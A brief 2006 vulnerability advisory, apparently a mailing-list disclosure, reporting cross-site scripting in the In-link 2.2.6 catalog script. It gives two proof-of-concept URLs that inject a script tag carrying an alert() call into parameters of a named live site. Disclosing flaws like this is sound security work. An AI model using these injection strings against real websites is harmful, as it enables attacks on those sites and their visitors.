Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[eVuln] Skull-Splitter's PHP Downloadcounter for Wallpapers SQL Injection

[eVuln] Skull-Splitter's PHP Guestbook XSS Vulnerability

XSS in PHPKIT Version 1.6.03

[SA19443] PHP Script Index "search" Cross-Site Scripting Vulnerability

From:	Cyber Lords <fear_(at)_cyberlords.net>
Date:	29.03.2006
Subject:	XSS in In-link 2.2.6

Advisory: XSS in In-link 2.2.6

Уязвимость/Vulnerability:
Межсайтовый скриптинг/Cross Site Scripting

Уязвимый скрипт/Vulnerable script: index.php

Exploit:

http://mailinfo.ru/catalog/index.php?sid=%27795275575&t=login&attach=
%27t=modify"><script>alert()</script><"

http://mailinfo.ru/catalog/index.php?sid=795275575&t=registration&cat=0"
><script>alert()</script><"

--------------------------
Cyber Lords Team
www.cyberlords.net